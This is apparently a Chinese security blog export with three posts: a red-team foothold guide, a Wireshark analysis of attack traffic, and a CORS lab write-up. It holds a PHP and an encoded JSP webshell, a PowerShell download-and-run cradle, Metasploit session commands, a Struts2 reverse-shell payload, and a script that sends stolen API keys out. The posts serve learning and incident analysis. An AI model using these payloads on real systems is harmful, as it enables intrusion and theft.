Files\Apache Group\Apache\logs\error.log</span><br><span class="line">C:\wamp\apache2\logs</span><br><span class="line">C:\xampp\apache\logs\access.log</span><br></pre></td></tr></table></figure><h5 id="写入webshell"><a href="#写入webshell" class="headerlink" title="写入webshell"></a>写入webshell</h5><p>发现web路径之后可写入webshell</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo '<?php $_REQUEST[1];?>' > /var/www/html/phpinfo.php</span><br></pre></td></tr></table></figure><p>webshell简单编码:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">将webshell使用burp base64编码 </span><br><span class="line"></span><br><span class="line">echo -n "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7LyrlxqU63qXGATMyTW1kNTyETTE2TQzYpN6lxgFyZWJleW9uZCovc2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4=" | base64 -d > /var/www/test.jsp</span><br></pre></td></tr></table></figure><h4 id="2-3-上线代理"><a href="#2-3-上线代理" class="headerlink" title="2.3 上线代理"></a>2.3 上线代理</h4><p>代理可以通过上传reGeorg脚本使用proxifier连接进行测试</p><p>reGeorg地址:<a href="https://github.com/sensepost/reGeorg">https://github.com/sensepost/reGeorg</a></p><p>访问上传的的代理脚本,出现该字样表明上传成果。<br><img src="2.3.1.png" alt="2.3.1"></p><p>然后python运行reGeorgSocksProxy.py脚本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -u 'http://209.141.41.86:8080/tunnel.nosocket.php' -p 8080</span><br></pre></td></tr></table></figure><p>然后使用Proxifier即可连接代理。</p><p>Proxifier使用方法:<a href="https://blog.csdn.net/u013066730/article/details/88788191">https://blog.csdn.net/u013066730/article/details/88788191</a></p><p>在实际进行代理脚本上传过程中将代理脚本base64编码,会因为太长存在截断问题,php含有特殊符号如&等post数据时会被当做参数被截断。可通过url编码来尝试解决。</p><h3 id="windows主机"><a href="#windows主机" class="headerlink" title="windows主机"></a>windows主机</h3><h4 id="2-1windows主机信息收集"><a href="#2-1windows主机信息收集" class="headerlink" title="2.1windows主机信息收集"></a>2.1windows主机信息收集</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">ipconfig /all 本机网络配置</span><br><span class="line">net user 查看用户</span><br><span class="line"></span><br><span class="line">tasklist 查询进程</span><br><span class="line">tasklist /svc 查看进程,将返回的进程结果复制到在线网站</span><br><span class="line">在线杀软识别网站:</span><br><span class="line">https://www.secshi.com/sharuan.html</span><br><span class="line">https://www.ddosi.com/av/1.php</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">net localgroup administrators 查看本地管理员信息</span><br><span class="line">query user || qwinsta 查看当前在线的用户</span><br><span class="line">netstat -ano 查看端口</span><br><span class="line"></span><br><span class="line">查看当前权限:whoami</span><br><span class="line"></span><br><span class="line">获取域id:whoami /all</span><br><span class="line">获取指定用户的详细信息:net user xxx /domain</span><br><span class="line"></span><br><span class="line">判断是否存在域</span><br><span class="line">使用ipconfig /all即可做出判断</span><br><span class="line">查询当前的登录域与用户信息:net config workstation</span><br><span class="line">判断主域:net time /domain</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">route print arp -a</span><br><span class="line">查询路由表及所有可用的ARP缓存表</span><br><span class="line"></span><br><span class="line">netsh firewall show config 查看防火墙配置</span><br><span class="line"></span><br><span class="line">net share </span><br><span class="line">wmic share get name,path,status 查看本机共享列</span><br><span class="line"></span><br><span class="line">systeminfo </span><br><span class="line">wmic qfe get caption,description,hotfixid,installedon 查询操作系统及版本信息,补丁信息等</span><br><span class="line">在线查看提权exp网站:</span><br><span class="line">http://blog.neargle.com/win-powerup-exp-index/</span><br><span class="line">https://bugs.hacking8.com/tiquan/</span><br><span class="line">github项目:https://github.com/AonCyberLabs/Windows-Exploit-Suggester</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 查看代理</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>更多详情可以看:<a href="https://xz.aliyun.com/t/7663#toc-6">https://xz.aliyun.com/t/7663#toc-6</a></p><h4 id="2-2-上线cs"><a href="#2-2-上线cs" class="headerlink" title="2.2 上线cs"></a>2.2 上线cs</h4><p>cs上线之前需要先建立监听:</p><p>Cobalt Strike–>Listenrs Add 一个监听器</p><p><img src="0.1.png" alt="0.1"></p><h5 id="2-2-1执行木马上线cs"><a href="#2-2-1执行木马上线cs" class="headerlink" title="2.2.1执行木马上线cs"></a>2.2.1执行木马上线cs</h5><p>生成windows木马:Attacks–>Packages–>Windows Executable</p><p>如果主机是64位则需要勾选x64,点击Generate即可生成木马,上传到目标机,命令行执行即可上线。</p><p><img src="0.2.png" alt="0.2"></p><p>但是cs的木马上传到目标机时容易被杀软杀掉,此时就需要考虑其他方式上线</p><p>如:powershell上线,msf建立meterpreter派生…</p><h5 id="2-2-2-powershell上线cs"><a href="#2-2-2-powershell上线cs" class="headerlink" title="2.2.2. powershell上线cs"></a>2.2.2. powershell上线cs</h5><p>生成powershell payload</p><p><img src="3.1.png" alt="3.1"></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe <span class="literal">-nop</span> <span class="literal">-w</span> <span class="keyword">hidden</span> <span class="literal">-c</span> <span class="string">"IEX ((new-object net.webclient).downloadstring('http://192.168.75.128:80/a2'))"</span></span><br></pre></td></tr></table></figure><p>命令行执行,即可上线。</p><h5 id="2-2-3-msf—cs交互"><a href="#2-2-3-msf—cs交互" class="headerlink" title="2.2.3 msf—cs交互"></a>2.2.3 msf—cs交互</h5><p><strong>cs派生会话给msf</strong></p><p>msf:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Set payload windows/meterpreter/reverse_http(这里一定要选择http的这个,因为cs监听器传递会话只支持http和https) 选择payload</span><br><span class="line">Show options 查看需要配置的选项</span><br><span class="line">Set lhost 0.0.0.0 监听本地ip</span><br><span class="line">Set lport 2020 监听端口</span><br><span class="line">Exploit 执行</span><br></pre></td></tr></table></figure><p>cs建立监听器:</p><p><img src="2.1.png" alt="2.1"></p><p>一定要选择Foregin对外监听器,host填msf ip,port填写msf监听端口。</p><p><strong>msf派生会话给cs:</strong></p><p>cs选择建立的http/https监听器。</p><p>msf:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">use exploit/windows/local/payload_inject</span><br><span class="line"></span><br><span class="line">set payload windows/x64/meterpreter/reverse_http(选用的payload一定要跟cs下监听的payload方式一样,注意32位和64位)</span><br><span class="line">set DisablePayloadHandler true(禁止产生一个新的handler)</span><br><span class="line">set LHOST IP(ip为cs监听会话用的ip)</span><br><span class="line">set LPORT 端口(端口为cs对应的接受反弹shell的端口)</span><br><span class="line">set pid 进程号(设置派生给cs后木马进程的pid进程号,如果有system权限则可以指定一个具有system权限的进程,这样cs接收到会话也是最高权限,也可以不手动选择进程号)</span><br><span class="line">set session 1(设置需要派送的meterpreter)</span><br><span class="line">exploit(开始执行)</span><br></pre></td></tr></table></figure><p>如果msf报错:[-] Exploit aborted due to failure: bad-config: Cannot inject a 64-bit payload into any process on a 32-bit OS</p><p>去掉/x64即可。</p><p>给大佬们打好了点,上线了cs之后,顿时感觉索然无味,人生失去了方向。为了接下来的项目有点参与感,简单学习一下内网打法。</p>]]></content>
<categories>
<category> 内网渗透 </category>
</categories>
<tags>
<tag> 红队打点 </tag>
<tag> cs上线 </tag>
</tags>
</entry>
<entry>
<title>wireshark使用</title>
<link href="/2020/09/05/wireshark%E4%BD%BF%E7%94%A8%E5%8F%8A%E5%AE%9E%E5%88%97%E8%AE%B2%E8%A7%A3/"/>
<url>/2020/09/05/wireshark%E4%BD%BF%E7%94%A8%E5%8F%8A%E5%AE%9E%E5%88%97%E8%AE%B2%E8%A7%A3/</url>
<content type="html"><![CDATA[<p>本文首发于雷神众测:</p><p><a href="https://mp.weixin.qq.com/s/u04nDndGZFEFko9lRp6Frg">https://mp.weixin.qq.com/s/u04nDndGZFEFko9lRp6Frg</a></p><p>最近在HW,主要工作就是判断各个设备日志,分析数据包,对wireshark数据包分析不太熟悉,特此学习记录一下。本想再对主流扫描器和webshell管理工具抓包分析,但碍于篇幅和自己时间问题,没有再深入下去。这里主要挑选了weblogic反序列化,ms17_010,struts s2-057数据包进行实列分析。希望文章能对给位师傅有所帮助,文章中可能有很多不足和错误之处,还望各位师傅包含。</p><h1 id="1-wireshark抓包"><a href="#1-wireshark抓包" class="headerlink" title="1.wireshark抓包"></a>1.wireshark抓包</h1><h2 id="1-1选择监听网卡"><a href="#1-1选择监听网卡" class="headerlink" title="1.1选择监听网卡"></a>1.1选择监听网卡</h2><p>捕获–>选项</p><p><img src="1.1.1.png" alt="1.1.1"></p><p>我这里要查看我wlan的流量,所以选择wlan。</p><h2 id="1-2-显示面板介绍"><a href="#1-2-显示面板介绍" class="headerlink" title="1.2 显示面板介绍"></a>1.2 显示面板介绍</h2><p><img src="1.1.2.png" alt="1.1.2"></p><p><strong>数据包列表</strong>:</p><p>不同的协议会显示不同的颜色,方便区分。</p><p><strong>数据包详细信息</strong>:</p><p>frame:物理层的数据帧概况</p><p>ethernet:数据链路层以太网帧头部信息</p><p>internet protocol version 4:互联网层ip包头部信息</p><p>transmission control protocol:传输层T的数据段头部信息,此处是tcp</p><p>hypertext transfer protocol:应用层的信息,此处是http协议</p><p><strong>16进制数据:</strong></p><p>点击数据包详细信息数据区域的数据,在16进制数据区域中会显示对应的数据。个人理解数据包详细信息区是wireshark处理之后方便我们查看的数据包,而16进制数据包区域是实际在网络中传输的数据包。</p><p><img src="1.1.3.png" alt="1.1.3"></p><h1 id="2-过滤条件介绍"><a href="#2-过滤条件介绍" class="headerlink" title="2.过滤条件介绍"></a>2.过滤条件介绍</h1><h2 id="2-1协议过滤"><a href="#2-1协议过滤" class="headerlink" title="2.1协议过滤"></a>2.1协议过滤</h2><p>tcp,icmp,http,udp…</p><p>单独输入只显示对应的协议数据包列表,列如:输入http</p><p><img src="2.1.1.png" alt="2.1.1"></p><h2 id="2-2-ip过滤"><a href="#2-2-ip过滤" class="headerlink" title="2.2 ip过滤"></a>2.2 ip过滤</h2><p> ip.src==120.241.148.154 显示源地址为120.241.148.154 的数据包列表</p><p> ip.dst==120.241.148.154 , 显示目标地址为120.241.148.154 的数据包列表</p><p> ip.addr == 120.241.148.154 显示源IP地址或目标IP地址为120.241.148.154的数据包列表</p><p><img src="2.2.1.png" alt="2.2.1"></p><h2 id="2-3-端口过滤"><a href="#2-3-端口过滤" class="headerlink" title="2.3 端口过滤"></a>2.3 端口过滤</h2><p> tcp.port ==80, 显示源主机或者目的主机端口为80的数据包列表。</p><p> tcp.srcport == 80, 只显示TCP协议的源主机端口为80的数据包列表。</p><p> tcp.dstport == 80,只显示TCP协议的目的主机端口为80的数据包列表。</p><p><img src="2.3.1.png" alt="2.3.1"></p><h2 id="2-4-http模式过滤"><a href="#2-4-http模式过滤" class="headerlink" title="2.4 http模式过滤"></a>2.4 http模式过滤</h2><p>http.request.method==”GET”,只显示HTTP GET方法</p><p>http.request.method==”POST”</p><p><img src="2.4.1.png" alt="2.4.1"></p><h2 id="2-5-逻辑运算符-and-or-not"><a href="#2-5-逻辑运算符-and-or-not" class="headerlink" title="2.5 逻辑运算符 and/or/not"></a>2.5 逻辑运算符 and/or/not</h2><p>http.request.method==”POST” and ip.src==192.168.71.249</p><p>只显示192.168.71.249发送的post数据。</p><p><img src="2.5.1.png" alt="2.5.1"></p><h2 id="2-6-固定特征检索"><a href="#2-6-固定特征检索" class="headerlink" title="2.6 固定特征检索"></a>2.6 固定特征检索</h2><p><img src="2.6.1.png" alt="2.6.1"></p><p>选中要cookie(可以选择为恶意的payload)右击,作为过滤器应用–>选中</p><p>则只会显示cookie为选择值的数据包。</p><p><img src="2.6.2.png" alt="2.6.2"></p><h1 id="3-实列"><a href="#3-实列" class="headerlink" title="3.实列"></a>3.实列</h1><h2 id="3-1-Weblogic-WLS-Core-Components-反序列化命令执行漏洞(CVE-2018-2628)"><a href="#3-1-Weblogic-WLS-Core-Components-反序列化命令执行漏洞(CVE-2018-2628)" class="headerlink" title="3.1 Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)"></a>3.1 Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)</h2><p>docker搭建cve-2018-2628靶机,wireshar保存数据包分析。</p><p>docker地址:<a href="https://vulhub.org/#/environments/weblogic/CVE-2018-2628/">https://vulhub.org/#/environments/weblogic/CVE-2018-2628/</a></p><h4 id="3-1-1查看恶意ip和受害ip的数据通信"><a href="#3-1-1查看恶意ip和受害ip的数据通信" class="headerlink" title="3.1.1查看恶意ip和受害ip的数据通信"></a>3.1.1查看恶意ip和受害ip的数据通信</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip.src==192.168.80.1 and ip.dst==192.168.80.4</span><br></pre></td></tr></table></figure><p><img src="3.1.1.png" alt="3.1.1"></p><h4 id="3-1-2-依次查看数据包"><a href="#3-1-2-依次查看数据包" class="headerlink" title="3.1.2 依次查看数据包"></a>3.1.2 依次查看数据包</h4><p>发现192.168.80.1想192.168.80.4发送了很多个2798长度的数据包,将数据包内容复制出来查看</p><p><img src="3.1.2.png" alt="3.1.2"></p><p>鼠标右键点击数据包内容,选择 as printable text即可将数据包内容复制到剪切板,将数据包复制到文本编辑器查看</p><p><img src="3.1.3.png" alt="3.1.3"></p><p>ysoserial.jar,touch /tmp/h11ba1.txt 可以大致确定攻击者使用了ysoserial工具进行了反序列化攻击,准备在服务器执行”touch /tmp/h11ba1.txt”命令。</p><h2 id="3-2-ms17-010"><a href="#3-2-ms17-010" class="headerlink" title="3.2 ms17-010"></a>3.2 ms17-010</h2><h3 id="3-2-1-确定攻击是否发生"><a href="#3-2-1-确定攻击是否发生" class="headerlink" title="3.2.1 确定攻击是否发生"></a>3.2.1 确定攻击是否发生</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip.addr==192.168.80.4 and ip.addr==192.168.80.8 and smb</span><br></pre></td></tr></table></figure><p>因为ms17-010主要通过smb端口,所以先看smb协议</p><p><img src="3.2.1.png" alt="3.2.1"></p><p>发现192.168.80.4这个ip向192.168.80.8发送了大量的A字节。推测在进行溢出操作。所以确定发送ms17_010攻击</p><h3 id="3-2-2-确定是否成功"><a href="#3-2-2-确定是否成功" class="headerlink" title="3.2.2 确定是否成功"></a>3.2.2 确定是否成功</h3><p>继续查看数据包,发现数据包中含有session setup and request数据包,并且数据包中含有被攻击机器的准确域信息,说明攻击成功。</p><p><img src="3.2.2.png" alt="3.2.2"></p><h3 id="3-2-3-确定攻击者执行了那些命令"><a href="#3-2-3-确定攻击者执行了那些命令" class="headerlink" title="3.2.3 确定攻击者执行了那些命令"></a>3.2.3 确定攻击者执行了那些命令</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip.addr==192.168.80.4 and ip.addr==192.168.80.8 and tcp</span><br></pre></td></tr></table></figure><p>分析192.168.80.4与192.168.80.8之间传输的所有tcp数据流</p><p>从上往下依次查看,发现,被标黑的数据包中含有cmd命令行,重点查看标黑的数据流。并且可以确定攻击者通过4444端口来接收受害者的shell。</p><p><img src="3.2.3.png" alt="3.2.3"></p><p>依次往下面查看,发现受害者192.168.80.8向攻击者192.168.80.4发送了自己的盘符信息。此时可以确定攻击者拥有了受害者cmd控制权。</p><p><img src="3.2.4.png" alt="3.2.4"></p><p>依次往后面查看,发现攻击者执行了,whoami,ipconfig /all,net user /domain,dir等命令。并且受害者返回执行结果</p><p><img src="3.2.5.png" alt="3.2.5"></p><p>鼠标右键点击—>选择as printable text,将数据包提取出来,复制到sublime中可以更清晰的查看</p><p><img src="3.2.6.png" alt="3.2.6"></p><h2 id="3-3-Struts2-S2-057-Remote-Code-Execution-Vulnerablity-CVE-2018-11776"><a href="#3-3-Struts2-S2-057-Remote-Code-Execution-Vulnerablity-CVE-2018-11776" class="headerlink" title="3.3 Struts2 S2-057 Remote Code Execution Vulnerablity(CVE-2018-11776)"></a>3.3 Struts2 S2-057 Remote Code Execution Vulnerablity(CVE-2018-11776)</h2><p>struts s2-057主要通过GET请求发起攻击,只查看GET请求的数据</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http.request.method=="GET"</span><br></pre></td></tr></table></figure><p><img src="3.3.1.png" alt="3.3.1"></p><h3 id="3-3-1-poc验证漏洞"><a href="#3-3-1-poc验证漏洞" class="headerlink" title="3.3.1 poc验证漏洞"></a>3.3.1 poc验证漏洞</h3><p>攻击者先采用poc:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">/$</span><span class="bash">%7B(111+111)%7D/actionChain1.action</span></span><br></pre></td></tr></table></figure><p>探测是否存在struts s2-057漏洞,跟踪http流查看漏洞是否存在</p><p> <img src="3.3.2.png" alt="3.3.2"></p><p>表达式执行成功,说明该漏洞存在,接下来查看攻击者利用该漏洞做了什么</p><h3 id="3-3-2-查看攻击者利用漏洞做了什么"><a href="#3-3-2-查看攻击者利用漏洞做了什么" class="headerlink" title="3.3.2 查看攻击者利用漏洞做了什么"></a>3.3.2 查看攻击者利用漏洞做了什么</h3><p>查看最后一个http流,发现存在bash字样,跟踪http流查看</p><p><img src="3.3.3.png" alt="3.3.3"></p><p>payload url解码:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">/struts2-showcase/$</span><span class="bash">{</span></span><br><span class="line"><span class="meta">(#</span><span class="bash">[email protected]@DEFAULT_MEMBER_ACCESS).(<span class="comment">#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi4xNC4xOTAuOTMvMjMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action</span></span></span><br></pre></td></tr></table></figure><p>发现攻击者在尝试反弹shell</p><p>paylaod中的base64字符串解码得到:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -i >&/dev/tcp/106.14.190.93/2333 0>&1</span><br></pre></td></tr></table></figure><p>说明攻击者想将shell反弹到106.14.190.93的2333端口</p><h3 id="3-3-3-查看攻击者是否拿到shell,并执行了那些操作"><a href="#3-3-3-查看攻击者是否拿到shell,并执行了那些操作" class="headerlink" title="3.3.3 查看攻击者是否拿到shell,并执行了那些操作"></a>3.3.3 查看攻击者是否拿到shell,并执行了那些操作</h3><p>已经确定反弹shell的vps,那么直接查看与该ip的数据流</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip.addr==106.14.190.93</span><br></pre></td></tr></table></figure><p><img src="3.3.4.png" alt="3.3.4"></p><p>发现数据中存在服务器名,跟踪tcp流,发现攻击者执行了ls命令,并且执行成功。</p><p><img src="3.3.5.png" alt="3.3.5"></p><p>参考链接:</p><p><a href="https://www.cnblogs.com/linyfeng/p/9496126.html">https://www.cnblogs.com/linyfeng/p/9496126.html</a></p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> wireshark使用 </tag>
</tags>
</entry>
<entry>
<title>跨域漏洞那些事儿(cors,jsonp)</title>
<link href="/2020/08/29/%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF%EF%BC%88cors,jsonp)/"/>
<url>/2020/08/29/%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF%EF%BC%88cors,jsonp)/</url>
<content type="html"><![CDATA[<p>本文首发于雷神众测:</p><p><a href="https://mp.weixin.qq.com/s/cHOvEbYtYNfl2lQ8-N3qtA">https://mp.weixin.qq.com/s/cHOvEbYtYNfl2lQ8-N3qtA</a></p><p>近期在src挖掘中经常看到大佬们提到cors,josnp一直不太理解此类漏洞。特此学习记录一下,如有错误之处还望师傅们斧正。</p><h2 id="1-跨域资源共享(cors"><a href="#1-跨域资源共享(cors" class="headerlink" title="1.跨域资源共享(cors)"></a>1.跨域资源共享(cors)</h2><h3 id="跨域资源共享-cors-原理:"><a href="#跨域资源共享-cors-原理:" class="headerlink" title="跨域资源共享(cors)原理:"></a>跨域资源共享(cors)原理:</h3><p>在讲cors之前我们先来了解一下同源策略(sop)。</p><h5 id="1-1-同源策略"><a href="#1-1-同源策略" class="headerlink" title="1.1 同源策略"></a>1.1 同源策略</h5><p><strong>浏览器的安全基石是同源策略。同源策略保证了同一个浏览器打开不同网站,不同网站之间不会相互影响。</strong></p><p>列如:张三登陆了某银行网站,浏览器存储了他的cookie。而这时他又打开了另一个小网站,该小网站会记录用户的cookie。如果没有同源策略,他就会记录浏览器存储的cookie,此时银行网站的cookie也被记录,从而造成银行用户cookie泄露。</p><p>同源策略中的同源是指:</p><p>三个同源:<strong>同协议,同域名,同端口</strong> ,例如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">https:www.test.com 和 http:www.test.com (不同源,协议不同)</span><br><span class="line">http:www.test.com 和 http:login.test.com (不同源,域名不同)</span><br><span class="line">http:www.test.com:80 和 http:www.test.com:8080 (不同源,端口不同)</span><br></pre></td></tr></table></figure><h5 id="1-2-同源策略-sop-的窗口跨域资源共享-cors"><a href="#1-2-同源策略-sop-的窗口跨域资源共享-cors" class="headerlink" title="1.2 同源策略(sop)的窗口跨域资源共享(cors)"></a>1.2 同源策略(sop)的<strong>窗口</strong>跨域资源共享(cors)</h5><p>但是安全和方便总是难两全。张三新开发了一个网站A,要从网站B上获取数据,但是因为同源策略的存在他获取不了B网站上的数据。此时他通过搜索发现一个叫做跨域资源共享的东西经过一通配置,他成功获取到了B网站的数据:</p><p>他的配置如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Access-Control-Allow-Origin: *</span><br><span class="line">Access-Control-Allow-Credentials: true</span><br></pre></td></tr></table></figure><p>这个配置在满足要求的同时也造成了严重的安全问题,*<em>Access-Control-Allow-Origin: * ** 通配符</em>允许A网站访问的同时也允许了其他任意网站的访问。假设一个攻击过程:</p><p>网站C的cors配置存在缺陷,被一个黑客发现,该黑客通过友链申请,给站长发送了一个网站链接,站长为了确认友链网站,打开了网站链接,而该网站中部署了黑客精心构造的恶意脚本,能够自动获取存储网站C中的cookie信息,此时黑客就获取到了站长的cookie信息…</p><p><strong>配置讲解:</strong></p><p><strong>Access-Control-Allow-Origin:</strong>*<br>web浏览器将Access-Control-Allow-Origin与请求网站的来源进行比较,如果匹配则允许访问响应</p><p>例如:Access-Control-Allow-Origin:<a href="http://www.test.com/">http://www.test.com</a></p><p>此时网站login.test.com(小A)向<a href="http://www.test.com/">www.test.com</a>(小B)发起 请求,小B一看请求源(origin)和自己的配置不一样,知道小A可能是个坏蛋,照例将请求返回给小A,但是响应中不含有Access-Control-Allow-Origin标头,万能的浏览器一看跨域请求,响应中还没有Access-Control-Allow-Origin字段,立马报错。坏蛋小A就获取不到小B的数据了…</p><p>更多详细讲解可参考阮老师文章:<a href="https://www.ruanyifeng.com/blog/2016/04/cors.html">https://www.ruanyifeng.com/blog/2016/04/cors.html</a></p><p><strong>Access-Control-Allow-Credentials: true</strong><br>该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。</p><p>设为<code>true</code>,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为<code>true</code>,如果服务器不要浏览器发送Cookie,删除该字段即可。</p><p><strong>通过前面的介绍我们对cors也知名知意了,这时问题就出现了,这漏洞该怎么挖呢?</strong></p><p>这时就要了解一下burpsuite网站的实验室,该实验室中存在多中漏洞实验,在学习漏洞知识的同时也能实战学习漏洞利用技巧,接下来就简单记录一下实验过程。</p><p>实验链接:<a href="https://portswigger.net/web-security/cors">https://portswigger.net/web-security/cors</a></p><h4 id="实战练习:"><a href="#实战练习:" class="headerlink" title="实战练习:"></a>实战练习:</h4><h5 id="1-1-来源(origin-可任意更改的cors漏洞"><a href="#1-1-来源(origin-可任意更改的cors漏洞" class="headerlink" title="1.1 来源(origin)可任意更改的cors漏洞"></a>1.1 来源(origin)可任意更改的cors漏洞</h5><p><img src="1.1.1.png" alt="1.1.1"></p><p>该实验个人账户界面存在账户的api密钥,我们的目标就是获取到用户的api密钥</p><p><img src="1.1.2.png" alt="1.1.2"></p><p>通过观察网站源码,发现api密码是通过一个ajax接口返回到页面的。<strong>直接访问接口,并将请求来源跟改为任意网站可以获取到密钥,说明存在cors漏洞</strong></p><p><img src="1.1.3.png" alt="1.1.3"></p><p>此时我们有一个攻击思路:</p><p>部署一个恶意脚本到我们的网站上,并将该网址链接发送给要攻击的小王,小王只要访问了我们的链接,我们即可在web日志中获取到小王的api密钥</p><p>恶意脚本:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><script></span><br><span class="line"> <span class="keyword">var</span> req = <span class="keyword">new</span> XMLHttpRequest();</span><br><span class="line"> req.onload = reqListener;</span><br><span class="line"><span class="comment">// 打开api密钥链接</span></span><br><span class="line"> req.open(<span class="string">'get'</span>,<span class="string">'https://ac0c1f2b1efc321180e1a18c007100d3.web-security-academy.net/accountDetails'</span>,<span class="literal">true</span>);</span><br><span class="line"><span class="comment">// 设置为true可以保证,请求的时候携带cookie</span></span><br><span class="line"> req.withCredentials = <span class="literal">true</span>;</span><br><span class="line"> req.send();</span><br><span class="line"></span><br><span class="line"><span class="comment">//将访问api密钥得到的数据,拼接到url中访问自己服务,即可在服务器web日志中找到api密钥信息</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">reqListener</span>(<span class="params"></span>) </span>{</span><br><span class="line"> location=<span 